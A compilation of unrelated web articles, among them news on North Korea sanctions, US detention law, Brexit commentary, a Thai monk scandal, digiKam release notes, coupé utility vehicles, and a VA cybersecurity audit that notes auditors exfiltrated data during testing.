Washington wants the Security Council to vote on Monday to impose the sanctions, despite resistance from Beijing and Moscow to the new measures.
In a statement published by the official KCNA news agency, North Korea's foreign ministry warned Washington that if it did "rig up the illegal and unlawful'resolution' on harsher sanctions, the DPRK shall make absolutely sure that the U.S. pays due price".
"The forthcoming measures to be taken by the DPRK will cause the U.S. the greatest pain and suffering it had ever gone through in its entire history," the ministry said, using the abbreviation for North Korea's formal name.
"The world will witness how the DPRK tames the U.S. gangsters by taking (a) series of action tougher than they have ever envisaged."
The test, which the North said was a hydrogen bomb that could be fitted onto a rocket, came weeks after Pyongyang fired two intercontinental ballistic missiles (ICBMs) that appeared to bring much of the mainland US into range.
At a dinner to celebrate Pyongyang's nuclear programme, North Korean leader Kim praised the test and urged the country's scientists to develop more weapons, KCNA reported Sunday.
The North says it needs nuclear arms to protect itself, but the US has accused the country of "begging for war".
Pyongyang's drive to stage a slew of brazen tests in recent months, which contravene existing United Nations sanctions, has sparked surging tensions over the country's weapons programme.
© 2017 AFPWASHINGTON -- The Senate took a step Thursday toward ending the indefinite detention of Americans in the U.S., voting for a narrow amendment that some civil liberties groups opposed, even though they said it was in the right direction.
The measure, offered by Sen. Dianne Feinstein (D-Calif.) as an amendment to the National Defense Authorization Act of 2013, specifies that citizens and legal residents suspected of terrorism in the U.S. cannot be held without trial indefinitely.
"I know this is a sensitive subject, but I really believe we stand on the values of our country, and the value of our country is justice for all," said Feinstein before the Senate voted 67 to 29 to add her provision to the NDAA.
Civil libertarians had problems with her amendment, even though many regarded it as a positive step.
The key sentence in her measure says: "An authorization to use military force, a declaration of war, or any similar authority shall not authorize the detention without charge or trial of a citizen or lawful permanent resident of the United States apprehended in the United States, unless an Act of Congress expressly authorizes such detention."
First, the rights groups argued, the measure does not provide justice for all, because it does not apply to non-citizens or Americans caught overseas.
"The constitutional requirements of due process of law apply to all persons within the United States," a coalition of 20 groups wrote in a letter to Feinstein Thursday. "The 5th Amendment to the Constitution states that 'No person shall be…deprived of…liberty…without due process of law.'"
The groups also said they worried that part of that sentence suggests that Congress believes it can write laws that abridge basic constitutional protections in the future.
"The clause 'unless an Act of Congress expressly authorizes such detention' could be read to imply that there are no constitutional obstacles to Congress enacting a statute that would authorize the domestic military detention of any person in the United States," the letter said.
Senators who had supported the detention of Americans in the past seemed to agree with the civil liberties groups.
One, Armed Services Committee Chairman Carl Levin (D-Mich.), pointed to the same exception. "This is a big 'unless,'" he said.
"I believe that the 2001 authorization for the use of military force authorized the detention of U.S. citizens when appropriate in accordance with the laws of war," said Levin, referring the authorization Congress passed after the 9/11 attacks.
Sen. Rand Paul (R-Ky.) an opponent of indefinite detention, said he believed the amendment does shield citizens, and said American terrorist suspects would be treated just like criminals and get trials, arguing that if Americans give up a basic constitutional right to trial, terrorists have won.
"People say, 'But these terrorists are horrible people.' Yes, they're horrible people, but every day and every night in our country horrible people are accused of crimes and they are taken to court," said Paul. "They have an attorney on our their side. They have a trial. People who we despise, people who murder and rape, are given trials by juries. We can try and we can prosecute terrorists."
President Barack Obama has pledged to never detain people caught in the United States -- perhaps making it an academic point during his presidency -- but if someone were to be grabbed and detained in the U.S., the extreme divergence of opinion among the lawmakers as to what the law does likely assures a court will eventually make a final determination.
Republican Sen. Lindsey Graham (S.C.), a supporter of detention, suggested matters were actually quite simple, and a judge would see it his way.
"When you're fighting a war, the goal is not to prosecute people, the goal is to win," Graham said. "How do you win a war? You kill them, you capture them and you interrogate them to find out what they're up to next."
The defense bill passed by the House contains no similar language. It was unclear if Congress would be able to mesh the two measures before the session of Congress ends. It was also unclear that the House would accept the change.Join us in our pursuit of a better world.
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Already submitted your materials? We hear from a lot of people about every open job, so unfortunately we can’t respond to individual requests for application status.On his show Wednesday night, The Daily Show host Jon Stewart blasted President Barack Obama for failing to fix the growing backlog at the Department of Veterans Affairs while arguing the government could be a force for good.
Though Democrats have argued many of the country’s woes are due to Republican obstruction, Stewart noted that funding for the VA had actually increased over the past years. He described the current backlog in claims, which reached 245,00 in 2012, simply as “fucking criminal.” Veterans have to wait an average of 273 days before their disability claims are processed by the department.
Stewart explained the VA was still using a paper-based system — a ridiculous situation in 2013. The department has slowly implemented a new computer program, but it cannot not communicate with program used at the Department of Defense.
“The point is, if you’re making the case that the government has a meaningful role to play in improving people’s lives, then when you’re not obstructed from doing what you want, you better fucking bring it,” Stewart remarked.
“If we are smart and technologically-savvy enough to create flying unmanned robots with 1.8 gigapixel cameras that can spot enemy acne from 10 miles away and national security data mining programs that can store and process more than 10,000 times as much data as is stored in the entire Internet, we should be able to cook up a network spreadsheet program that knows which leg a returning soldier has lost without him having to fill out ten forms and coming in for a person-to-person visual leg assessment surveyance.”
“Otherwise, before long these guys won’t be obstructing the government, they’ll be running it again,” he concluded, referring to Republicans.
Watch video, via Mediaite, below:Arsene Wenger believes the Emirates Cup will provide his squad with the perfect pre-season preparation.
Porto and Galatasaray both won their respective leagues last season, while Napoli finished as runners-up in Serie A. All four teams will compete in the Champions League this term
Arsenal begin the weekend with a clash against Napoli and Wenger is aware of the attacking threat Rafael Benitez’s side will pose.
"[Napoli] have some dangerous players up front because they bought Higuain and they have Hamsik. They are very dangerous on the flanks" Arsene Wenger
“Napoli is a team who in the last three years have been very consistent at the top level in Italy,” the boss said.
“They finished second last year. Of course they lost Cavani but they still have some dangerous players up front because they bought Higuain and they have Hamsik. They are very dangerous on the flanks so it’s a very interesting game for us.”
Arsenal close the tournament with a game against Galatasaray on Sunday afternoon. Fatih Terim’s squad include the likes of Wesley Sneijder and Didier Drogba and Wenger is looking forward to another tough test.
“They are the most popular team in Turkey,” he said. “They have players who of course we know well here like Drogba and Altintop.
“They have a big potential now financially. They also have Eboue who will come back, it will be interesting to see him again. The did very well in the Champions League last [season].”
Arsenal will not face Porto over the weekend but Wenger says he respects the astute way the Portuguese side operate in the transfer market.
"They have invested a lot of money in young players, contrary to what many people think," he said. "They are active on the South American market and they sell well. We have a big respect for Porto."1934 Ford, the first coupe utility model. On display at the National Motor Museum, Birdwood, South Australia
This article is about the vehicle body style in general. For "ute" vehicles produced or sold in Australia and New Zealand, see Ute (vehicle)
A coupé utility is a vehicle with a passenger compartment at the front and an integrated cargo tray at the rear, with the front of the cargo bed doubling as the rear of the passenger compartment.
The term originated in the 1930s, where it was used to distinguish passenger-car based two-door vehicles with an integrated cargo tray from traditional pickup trucks.[1] that have a separate cargo bed from the passenger compartment. Since the 2000s, these vehicles have also been referred to as "pick-ups",[2][3] "car-based pick-up" and "car-based truck".[4][5]
In Australia, where the traditional style of coupé utility remained popular until it ceased production in 2017, it is commonly called a "ute", although the term is also used there to describe traditional style pickups.
History [ edit ]
1937 Terraplane Utility Coupe, convertible to Pickup
The body style originated in Australia.[6] It was the result of a 1932 letter from the wife of a farmer in Victoria, Australia, to Ford Australia asking for "a vehicle to go to church in on a Sunday and which can carry our pigs to market on Mondays". In response, Ford designer Lew Bandt developed a vehicle to meet the client's request. Commencing in October 1933 with assistance from draftsman A. Scott,[7] Bandt used the passenger compartment and roof from the Ford V8 5 window coupe and extended the rear section using a single fixed side panel on each side, with a hinged tailgate at the rear to create the load carrying compartment. The model was released in July 1934 as the coupe utility.[8] In his book "Early Australian Automotive Design: The First Fifty Years", Australian motoring historian Norm Darwin suggests the idea was not a big leap in design from the existing roadster utility that had been produced by various manufacturers as early as 1924.[9] Darwin also suggests that the idea was being developed by other manufacturers simultaneously, as General Motors-Holden's Ltd released Bedford and Chevrolet coupe utilities in September 1934[10] only two months after Ford, with the main difference being the use of the three window coupe roof on the GM-H products. Other manufacturers were quick to follow with coupe utilities based on various passenger and light truck chassis.[11]
In 1951, Holden released a model based on its 48-215 sedan, reinforcing the Australian tradition of home-grown two-door passenger-car sedan chassis based "utility" vehicles with a tray at the back, known colloquially as a ute, although the term is also applied to larger vehicles such as pickup trucks.
America followed suit with the release of the Ford Ranchero in 1957 and Chevrolet El Camino in 1959.[12][13]
North American models [ edit ]
Chevrolet El Camino
The Chevrolet El Camino is a coupé utility/pickup vehicle that was produced by Chevrolet from 1959 to 1960 and from 1964 to 1987.
Introduced in 1958 (for the 1959 model year) in response to the success of the Ford Ranchero pickup, its first run lasted only two years. Production resumed in 1963 (for the 1964 model year) based on the Chevelle platform. In 1977 (for the 1978 model year) it was shifted to the GM G-body platform. Production finished in 1987.
Although based on corresponding Chevrolet car lines, the vehicle is classified and titled in North America as a truck. GMC's badge engineered El Camino variant, the Sprint, was introduced in 1970 (for the 1971 model year). It was renamed Caballero in 1977 (for the 1978 model year), and produced until 1987.
In Spanish, el camino means "the road" or "path".
Other North American coupé utilities
South American models [ edit ]
2000–2010 Ford Courier
Since the 1970s, utes have been built in Brazil under European car-maker badges, usually based in hatchbacks, such as the Ford Courier, based on the Ford Fiesta MkIV. Current examples include the Chevrolet Montana (based on the Opel Corsa and later on the Chevrolet Agile), the Peugeot Hoggar (based on the South American Peugeot 207), the Volkswagen Saveiro (based on the Volkswagen Gol) and the Fiat Strada (based on the Fiat Palio).
Other South American coupé utility models:
Fiat Fiorino pick-up
Asian models [ edit ]
South African models [ edit ]
2011–2017 Chevrolet Montana
Nissan 1400 B140 Bakkie, South Africa
Australian Holden Kingswood, Ford Falcon and Chrysler Valiant utes were sold in South Africa as the Chevrolet El-Camino[16][17], Ford Ranchero[18][19][20], and Valiant Rustler[21][22] respectively. Some re-badged versions of South American utes are sold in South Africa (where the term "bakkie" instead of "ute" is popular) under different names, such as the Chevrolet Montana and the Ford Courier, sold there as Chevrolet Utility[23] and Ford Bantam respectively.
Other South American coupé utility models:
1975–1979 Dodge Husky (South Africa)
1989–2002 Mazda Rustler (rebadged 2nd generation Ford Bantam)
2008-present Nissan NP200 (rebadged Dacia Logan Pick-Up, built and sold in South Africa)
European models [ edit ]
1972 Mini pick-up
Austin Marina A coupé utility based on the 1971–1980 Morris Marina with a 1275 cc engine was badged as an Austin.[24] There were never many of these truck variants sold.
Mini Variously badged pick-up variants were built on the chassis of the Mini estate/wagon.
Other European coupé utilities
Middle Eastern models [ edit ]
Australian models [ edit ]
Coupe utilities have been produced in Australia since the 1930s. The three major Australian manufacturers (GM-Holden, Ford and Chrysler) offered coupe utility versions of their most popular models and many of the smaller manufacturers also offered coupe utilities in their range.[27][28][29][30] In many cases, if a coupe utility was not available as part of the regular model range an aftermarket coachbuilder would build one to customer order. Coupe utilities were also offered by various manufacturers on light truck style chassis,[31][32][33][34][35] alongside their regular style pickup and cab-chassis offerings.
Examples include:
Ford
General Motors-Holden
Chrysler
BMC
Standard
Rootes Group
1939 Hillman Fourteen [49]
1956 Hillman deluxe utility based on Mark VIII Hillman Minx
Lightburn
1935 Ford Model 48 coupe utility
1946 Ford Super Deluxe utility
1950 Ford Prefect utility
1947 Ford Anglia utility
Ford Pilot utility
Ford Popular utility
1951 Ford utility
1957 Ford Mainline utility
1960 Ford Zephyr Mk II utility
1962 Ford XL Falcon Deluxe utility
Ford XB Falcon utility
1999 Ford XH II Falcon utility
1940 Bedford JC coupe utility
Holden 50-2016 utility
Vauxhall Velox utility
1947 Chevrolet Stylemaster utility
1952 Chevrolet Styleline utility
Holden FB utility
Holden HQ Belmont utility
2005 Holden VZ Ute
1935 Plymouth coupe utility
1936 Dodge D2 coupe Utility
1947 Plymouth Special Deluxe utility
1956-57 DeSoto Diplomat Plaza utility
Chrysler AP3 Wayfarer utility
Chrysler AP6 Valiant Wayfarer utility
Dodge VG utility
Chrysler CL Valiant utility
1953 Austin A40 utility
Austin A55 utility
Austin 1800 utility
1961 Standard Vanguard utility
1946 Fargo utility
1953 Dodge 108-A utility
1946 Chevrolet Commercial utility
1952 International AL-110 Deluxe utility
Prototypes [ edit ]
Toyota X-Runner concept utility as displayed at the 2003 Sydney International Motor Show
See also [ edit ]Actor, screenwriter, director and stand up comedian Kevin Pollak will be the next guest to sit across from Ron Bennington for an episode of Unmasked.
Pollak’s seventy four film appearances include unforgettable roles in instant classics like A Few Good Men, Casino and The Usual Suspects and over thirty years touring the country as one of the top comedians working today. He’s done three stand up specials, he’s also a published author, and was one of the pioneers of podcasting when he debuted “Kevin Pollak’s Chat Show” in 2009. Kevin Pollak’s Chat Show continues to garner in the area of a million downloads each month.
Now Kevin adds director, documentarian, and comedy historian to his list of impressive credits with Misery Loves Comedy, a documentary feature film about what drives comedians to do what they do. Called a “definitive master class on the art of humor that details a comedian’s rare ability to help us understand life as only they can”, Misery Loves Comedy has an April 24 release date.
Ron and Kevin will be sitting down in front of a live studio audience to tape the hour long interview at SiriusXM’s New York studios on Wednesday, April 22nd at 12:30pm. Bennington and Pollak will be talking about his the new documentary, as well as Kevin’s career, and the business of comedy in general.
Do you want to be a part of an intimate in-studio audience with Kevin Pollak and Ron Bennington!? Here’s how to request tickets for your chance to be in the studio audience. Please be sure you can make it if you request tickets, as there are only a few seats available:
Make sure you know you can be in midtown Manhattan on time before you request tickets. You will need to be at SiriusXM studios by 12:00 pm on Wednesday April 22, 2015.
You must have a twitter account to request tickets. If you don’t have one, its free and easy to sign up.
Make sure you’re following @UnmaskedShow on twitter. We will not be able to contact you if you are not following that account.
Send a reply to @UnmaskedShow on twitter and let us know if you are requesting one or two tickets. Please only request tickets if you KNOW you can attend, and only request two tickets if you can be certain you will be bringing someone because we have very limited seating.
Please do not submit duplicate requests for tickets
You must be 18 or older to attend.
Do not reply here to request tickets. You must reply to the twitter account to be eligible to get tickets.
Ticket winners will be contacted by DirectMessage from the producers of Unmasked on twitter to let you know how to get your tickets. So remember to check your DirectMessages to see if you’ve got a ticket!
Read more comedy news.This is a list of what I believe to be the top 10 rarest cloud formations. And a brief description of each. No particular order in how ‘rare’ they are though.
1. Nacreous Clouds
These rare clouds, sometimes called mother-of-pearl clouds, are 15 – 25km (9 -16 miles) high in the stratosphere and well above tropospheric clouds. They have iridescent colours but are higher and much rarer than ordinary iridescent clouds. They are seen mostly but not exclusively in polar regions and in winter at high latitudes, Scandinavia, Alaska, Northern Canada. Lower level iridescent clouds can be seen anywhere.
Nacreous clouds shine brightly in high altitude sunlight up to two hours after ground level sunset or before dawn. Their unbelievably bright iridescent colours and slow movement relative to any lower clouds make them an unmistakable and unforgettable sight.
2. Mammatus Clouds
Mammatus are pouch-like cloud structures and a rare example of clouds in sinking air. Sometimes very ominous in appearance, mammatus clouds are harmless and do not mean that a tornado is about to form – a commonly held misconception. In fact, mammatus are usually seen after the worst of a thunderstorm has passed.
3. Altocumulus Castelanus
Also known as jellyfish clouds |
guide students through the digital archives, accepting that they use Wikipedia and Google, but teaching them that this should be the beginning rather than the end of their research.
But Tomar obviously never learned this lesson, and his argument rarely reaches beyond the level of Googling, like one of those machine-authored books that use an algorithm to collate information about a given topic. (If this is unfamiliar, see the 345,000 titles by “Lambert M. Surhone” on Barnesandnoble.com.) When arguing, for example, that American education loads students with debt without providing the skills to pay it back, Tomar writes that “according to the Guardian, ‘student loans have been stripped of nearly all basic consumer protections.’” Nothing wrong with that, except that after continuing this quotation for some length, he launches directly into a new paragraph on “An article in Mother Jones,” and this takes us to a paragraph relating what “the Washington Post” surmises, before a final section provides the truth “according to the New York Times.”
The already underdeveloped argument must also share space with a memoir of the author’s misguided youth, and while Dave Tomar finds his lead character fascinating, his will probably be a minority response. After the tenth account of Tomar getting stoned, or reeling out of a bar to vomit, it seems worth asking whether he may have borne some responsibility for his failure to find academic fulfillment and develop marketable skills on campus. One suspects that Tomar was very good at churning out “C-” papers and that some of his clients got exactly what they deserved.I am worried about the mental state of many Brexiteers. The author of The Spectator’s weekly Notes, Charles Moore, always a sharp observer of the passing scene, noticed my worry almost before I noticed it myself. He complained here a few weeks ago that I’m citing among my reasons for distrusting the Leave case the fact that so many of its adherents strike me as headbangers. He went on to suggest I’ve become psychologically incapable of even listening to their argument.
Personality traits displayed by Brexit-eers do indeed worry me and help inform my response to their case. To help me weigh an argument, I’m in the habit of taking a long and careful look at the person making it. Little in life is provable, so our assessment of the judgment and balance of those who urge an opinion upon us can help us greatly in making up our own minds.
Which is why the insistent, splenetic, neuralgic, angry, obsessive and sometimes almost crazed intensity of so many in the Leave crowd has become a source of concern to the rest of us. It isn’t as if these people lost the referendum. It isn’t as if their plans are being thwarted! They won, we concede it, and the government is executing their instructions with resolve — and all the signs are that the final outcome will be the ‘hard’ Brexit so many of them crave.
So what’s bugging them? Why do they, the winners, keep lashing out whenever one of the losers doubts or questions their plans? You can almost see the veins standing out on their necks as they rail against the people who didn’t win the referendum.
Charles is at the courteous end of this spectrum but (though he calls me a headbanger myself) I cannot forbear to observe that it has been hard to find a Notes of his since 23 June in which he has managed to resist the impulse to start banging on about Brexit again. To check my recollection I made a little survey of his weekly contribution since last November…
On 19 November (discussing a Deloitte’s report on Brexit planning) he accuses the Times of ‘false news’; on 26 November he’s bothered that there are ‘17.4 million people whose views [on you-know-what] are unrepresented’ among the 11 Supreme Court judges; on 3 December he’s stunned by the judges’ failure to realise that the rudeness they’re encountering is ‘the inevitable result of their new activist stance as opponents of the executive’; on 10 December he muses on why as part of an educated elite he now supports the so-called oafs (who voted for you-know-what); on 7 January he laments an academic’s failure to seek ‘a creative way through this [you-know-what]’; on 28 January he praises Lord Reed, a Supreme Court judge who dissented on you-know-what…
And so it goes on. In recent months Charles is sometimes diverted from Brexit by his growing interest (‘more interested than horrified’) in Donald Trump. As it’s hard to imagine any US politician better calculated to disgust Mr Moore, we can guess what leads him to indulge this one. You know what.
At least Charles observes the decencies. Here’s a small sample of some of my Times readers responding online to a column I wrote last Saturday. This wasn’t even about Brexit, but about Theresa May’s remark last October that ‘a citizen of the world is a citizen of nowhere’. I offered a mild toot on the trumpet for the value of being a world citizen as well as a British one, and remarked that I ‘cling to the hope’ that Mrs May accepts that. Critics among my readers, however, wanted to talk about me personally, and Brexit, and immigration, and Brexit, and the rage of our downtrodden native population, and Brexit.
‘Sadly, Parris has become obsessed by Brexit.’
‘Many ordinary people are “clinging to the hope” that they won’t be slagged off as racists for voting a new direction for their country.’
‘And of course if you ever find you’re in a crowd that is respectfully singing the National Anthem, you’re waving the EU’s flag and humming Ode to Joy?’
‘Arty-farty nonsense …’
‘… boring, navel-fixated tosh.’
‘God, you are sanctimonious old queen.’
‘Theresa May at the Conference was addressing [native-born Britons] in the light of the Brexit vote.’
‘Sadly Matthew, your obsession against Brexit is now colouring virtually everything your write.’
‘Thank God we have had little Englanders to make you safe over the last decades whilst you hid under the stairs with matron.’
‘Mushy, elitist claptrap.’
‘You really are a pillock. Shouldn’t you be writing the Independent or the Red Star?’
I find critics like these wonderfully affirming so don’t think I’m complaining: I’ve got rather fond of them. No, I quote this sort of stuff (and anyone whom Brexiteers suspect of being ‘liberal, metropolitan elite’ faces a constant barrage of it) as evidence for my honest belief that there’s a spirit abroad in the Leave camp that calls for psychiatric rather than political analysis.
Here’s mine. I think most of these voters, MPs and journalists are public-spirited patriots who are secretly, usually unconsciously, terrified that they’ve done the wrong thing. They do of course care. They urged their country forward into a leap in the dark and now worry desperately lest it turn out badly. They’re displaying the classic psychopathology of deep anxiety, seeing enemies and conspiracies everywhere, hitting out angrily at all dissent, and channelling their own fear into aggression against those who are in fact expressing it. Freudians call this projection.
So what’s needed is not columns like this (which they will wrongly interpret as questioning their sanity) but therapy, in the form of ladders to climb down. Maybe I need it too, for in truth I’m not sure I’m right, and can imagine Brexit proving a (to me surprising) success. So let me make the first conciliatory move. I, a Remainer, accept that Brexit may not prove a mistake. Ball’s in your court, Leavers: can you accept that it may?He's known as Thailand's jet-setting fugitive monk, and his story has riveted the country with daily headlines of lavish excess, promiscuity and alleged crimes ranging from statutory rape to manslaughter.Until a month ago, 33-year old Wirapol Sukphol was relatively unknown in Thailand. Now he is at the center of the biggest religious scandal the predominantly Buddhist country has seen in years.Despite the vows he took to lead a life of celibacy and simplicity, Wirapol had a taste for luxury, police say. His excesses first came to light in June with a YouTube video that went viral. It showed the orange-robed monk in aviator sunglasses taking a private jet ride with a Louis Vuitton carry-on.The video sparked criticism of his un-monkly behavior and a stream of humorous headlines like, "Now boarding, Air Nirvana."Since then, a long list of darker secrets has emerged - including his accumulated assets of an estimated 1 billion baht ($32 million). This week, authorities issued an arrest warrant for the disgraced monk after having him defrocked in absentia.Wirapol was in France when the scandal surfaced after leading a meditation retreat at a monastery near Provence. He is believed to have then fled to the United States but his current whereabouts are unknown.The arrest warrant implicates him on three charges including statutory rape, embezzlement and online fraud to seek donations. He is also under investigation for money laundering, drug trafficking and manslaughter for a hit-and-run accident. Authorities are struggling to figure out how he amassed so much money."Over the years there have been several cases of men who abused the robe, but never has a monk been implicated in so many crimes," said Pong-in Intarakhao, the case's chief investigator for the Department of Special Investigation, Thailand's equivalent of the FBI. "We have never seen a case this widespread, where a monk has caused so much damage to so many people and to Thai society."Cases of monk misconduct in recent years have centered on alcohol use or cavorting with women or men, all forbidden activities. Last year, about 300 of Thailand's 61,416 full-time monks were reprimanded and in several cases disrobed for violating their vows, according to the Office of National Buddhism.In Wirapol's case, investigators believe they have only scratched the surface.Born in the poor northeastern province of Ubon Ratchathani, he entered the monkhood as a teenager and gained local renown for claims of supernatural powers like the ability to fly, walk on water and talk to deities. He renamed himself, Luang Pu Nen Kham, taking on a self-bestowed title normally reserved for elder monks.Gradually, he cultivated wealthy followers to help fund expensive projects in the name of Buddhism - building temples, hospitals and what was touted as the world's largest Emerald Buddha. The 11-meter (36-foot) high Buddha was built at his temple in the northeast, touted as solid jade but made of tinted concrete.Thailand's Anti-Money Laundering Office has discovered 41 bank accounts linked to the ex-monk. Several of the accounts kept about 200 million baht ($6.4 million) in constant circulation, raising suspicion of money laundering.Investigators also suspect that Wirapol killed a man in a hit-and-run accident while driving a Volvo late at night three years ago.Critics say Wirapol is an extreme example of a wider crisis in Buddhism, which has become marginalized by a shortage of monks and an increasingly secular society. The meditative lifestyle of the monkhood offers little allure to young Buddhists raised on shopping malls, smartphones and the Internet.But the case of Wirapol has also shown the benefits of social media, says Songkran Artchariyasarp, a lawyer and Buddhist activist."Buddhists all around the world can learn from this case," said Songkran, who heads a Facebook group that collects tips about wayward monks. Photos uploaded to his page helped launch the investigation into Wirapol.Wed Jun 21, 2017
digiKam 5.6.0 is released
by digiKam Team
Following the 5th release 5.5.0 published in March 2017, the digiKam team is proud to announce the new release 5.6.0 of digiKam Software Collection. With this version the HTML gallery and the video slideshow tools are back, database shrinking (e.g. purging stale thumbnails) is also supported on MySQL, grouping items feature has been improved, the support for custom sidecars type-mime have been added, the geolocation bookmarks introduce fixes to be fully functional with bundles, the support for custom sidecars, and of course a lots of bug has been fixed.
HTML Gallery Tool
The HTML gallery is accessible through the tools menu in the main bar of both digiKam and showFoto. It allows you to create a a web gallery with a selection of photos or a set of albums, that you can open in any web browser. There are many themes to select and you can create your own as well. Javascript support is also available.
Video Slideshow Tool
The Video Slideshow is accessible also through the tools menu in the main bar of both digiKam and showFoto. It allows you to create a video slide with a selection of photos or albums. The generated video file can be view in any media player, as phones, tablets, Blue Ray reader, etc. There are many settings to customize the format, the codec, the resolution, and the transition (as for ex the famous Kens-Burn effect).
Database Integrity Tool
Already in 5.5.0 release, the tool dedicated to tests for database integrity and obsolete information have been improved. Besides obvious data safety improvements this can free up quite a lot of space in the digiKam databases. For technical reasons only SQLite database were shrunk to this smaller size in 5.5.0 release. Now this is also possible for MySQL databases with 5.6.0.
Items Grouping Features
Earlier changes to the grouping behaviour proved that digiKam users have quite diverse workflows - so with the current change we try to represent that diversity.
Originally grouped items were basically hidden away. Due to requests to include grouped items in certain operations, this was changed entirely to include grouped items in (almost) all operations. Needless to say, this wasn’t such a good idea either. So now you can choose which operations should be performed on all images in a group or just the first one.
The corresponding settings live in the configuration wizard under Miscellaneous in the Grouping tab. By default all operations are set to Ask, which will open a dialog whenever you perform this operation and grouped items are involved.
Extra Sidecars Support
Another new capability is to recognise additional sidecars. Under the new Sidecars tab in the Metadata part of the configuration wizard you can specify any additional extension that you want digiKam to recognise as a sidecar. These files will neither be read from nor written to, but they will be moved/rename/deleted/… together with the item that they belong to.
Geolocation Bookmarks
Another important change done for this new version is to restore the geolocation bookmarks feature which did not work with bundle versions of digiKam (AppImage, MacOS, and Windows). The new bookmarker has been fully re-written and is still compatible with previous geolocation bookmarks settings. It is now able to display the bookmark GPS information over a map for a better usability while editing your collection.
Google Summer of Code 2017 Students
This summer the team is proud to assist 4 students to work on separate projects:
Swati Lodha is back in the team. As in 2016, she will work to improve the Database interface. After having fixed and improved the MySQL support in digiKam, she has the task this year to isolate all the database contents dedicated to manage the similarity finger-prints matrix. As for thumbnails and face recognition, these elements will be stored in a new dedicated database. The goal is to reduce the core database size, simplify the maintenance and decrease the core database time-latencies.
Yingjie Liu is a Chinese student, mainly specialized with math and algorithms who will add a new efficient face recognition algorithm and will try to introduce some AI solution to simplify the face tag workflow.
Ahmed Fathi is an Egyptian student who will work to restore and improve the DLNA support in digiKam, to be able to stream collections contents through the network with compatible UPNP device as the Smart TV, tablets or cellulars.
Shaza Ismail is an another Egyptian student who will work to an ambitious project to create a tool for image editor to be used for healing image stains with the use of another part of the image by coloring by the use of one part over the other, mainly testing on dust spots, but can be used for other particles hiding as well.
Final Words
The next main digiKam version 6.0.0 is planned for the end of this year, when all Google Summer of Code projects will be ready to be backported for a beta release. In September, we will release a maintenance version 5.7.0 with a set of bugfixes as usual.
For further information about 5.6.0, take a look at the list of more than 81 issues closed in Bugzilla.
digiKam 5.6.0 Software collection source code tarball, Linux 32/64 bits AppImage bundles, MacOS package, and Windows 32/64 bits installers can be downloaded from this repository.
Happy digiKaming while this summer!Click below to listen or here for the mp3—eight minutes.
[audio:http://bit.ly/yCtg3v|titles=FergWithBillLumaye – 1:31:2012]
I appreciate the willingness of Bill Lumaye (pictured) of News Radio WPTF to engage with this issue, and prior to me he had on an illegal immigrant from the NC Dream Team. My main assertion was that loud voices from various factions and the heavy focus on the DREAM Act tend to obscure the fact that there is actually plenty of common ground within the United States on immigration policy.
Most Americans acknowledge that increased immigration strengthens the nation. Additionally, if they were to examine the legal immigration process—or experience it personally—they would also acknowledge that it is problematic, and the strong presence of illegals in the United States is a symptom of a misguided system.
That opens the door for reform towards open immigration that welcomes immigrants legally, akin to the freedom Puerto Ricans have had for more than a century now. That would reduce the scope of federal engagement to one of national security only, rather than the prevailing maze of industry central planning and bureaucracy.Application made to Constitutional Court to remove ‘unnatural act’ definition of homosexuality
ISTANBUL
People take pictures during the Gay Parade march in Istanbul on June 29. AA Photo
A judge in the western province of Aydın has applied to the Constitutional Court to remove the definition of homosexuality as an “unnatural relationship” from an article of the Turkish Penal code, daily Milliyet reported July 8.If the top court rules in favor for the applicant, the legal description of “homosexual acts” as “unnatural” will be held as unconstitutional, in what would become a landmark decision.According to the report, a judge in the Aydın 3rd Penal Court of First Instance filed the application over a trial involving the sale of gay pornographic material.The defendants’ lawyers pleaded that Article 226 of the penal code, stipulating jail terms between one and four years for the distribution of images “involving unnatural sexual acts,” was unconstitutional. They said the article puts homosexuality in the same category as necrophilia, zooerasty and rape.The application has been accepted by the Constitutional Court after an initial examination.Homosexuality has never legally been banned in Turkey, although many discriminating pieces of legislation have criminalized homosexual acts. The latest application comes as many LGBT NGOs seek the recognition of sexual orientation and sexual identity in the Constitution.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Editor’s Note: Each week we cross-post an excerpt from Katrina vanden Heuvel’s column at the WashingtonPost.com. Read the full text of Katrina’s column here. Ad Policy
One thing is certain about Comcast’s proposed $45 billion merger with Time Warner Cable: It doesn’t pass the smell test. Comcast claims that the combination of the number one and number two cable companies will somehow enhance rather than diminish competition and lead to greater consumer satisfaction. Don’t worry, Godzilla will play nice on the playground.
The resulting company would have at least 30 million cable customers, just under 30 percent of the TV market, as well as 38 percent of high-speed Internet customers. It will have virtual monopoly cable control over news and public service programming in cities like Chicago, Los Angeles, Philadelphia, New York City and Washington, DC. It will be able to exact price concessions from content providers, forcing some out of business, limiting innovation and variety. With net neutrality rules now under assault, it will be positioned to charge discriminatory rates for high-speed access or to discriminate against Netflix and other companies seeking to stream over its cable. And Comcast will be in position to decide what gets priority access and what viewers across much of the nation won’t see.
Comcast is just digesting its previous mega-merger, the takeover of NBC Universal that should have been blocked by the Federal Communications Commission (FCC). That leaves Comcast controlling an empire that includes NBC, CNBC, MSNBC, USA Network, Telemundo and other networks.
Editor’s Note: Each week we cross-post an excerpt from Katrina vanden Heuvel’s column at the WashingtonPost.com. Read the full text of Katrina’s column here.As VA Fails Yet Another Audit, Their Only Hope For Cybersecurity May Lie In The Cloud
By Christine Kern, contributing writer
This is the 16th consecutive year the VA has failed their security audit.
According to a report from the VA Office of the Inspector General, the VA still suffers serious challenges to information security that threaten its operations. The audit found that, while the VA has made some progress in creating policies and procedures, serious challenges still remain in “implementing components of its agency-wide information security continuous monitoring and risk management program to meet FISMA requirements.” The audit also identified “significant deficiencies” in regard to access controls, configuration management controls, continuous monitoring controls, and service continuity practices designed to protect mission-critical systems.
That means the VA was giving a failing grade, yet again. The report was conducted by auditing firm CliftonLarsonAllen LLP, and found approximately 9,500 unresolved system security risks that had been previously identified. The report also outlined 35 recommendations to improve the VA’s handling of information security, six of which were new, Next.gov reported.
Among the deficits noted by the report is that the VA is not monitoring all of its external network interconnections and internal network segments for malicious traffic or unauthorized access attempts, according to Meritalk. Additionally, the audit found the agency cannot detect unauthorized scans of internal networks. Significantly, during a single field audit, teams created a User Datagram Protocol — Virtual Private Network tunnel that managed to exfiltrate 54 megabytes of data from both the Network Security Operations Center and a medical center.
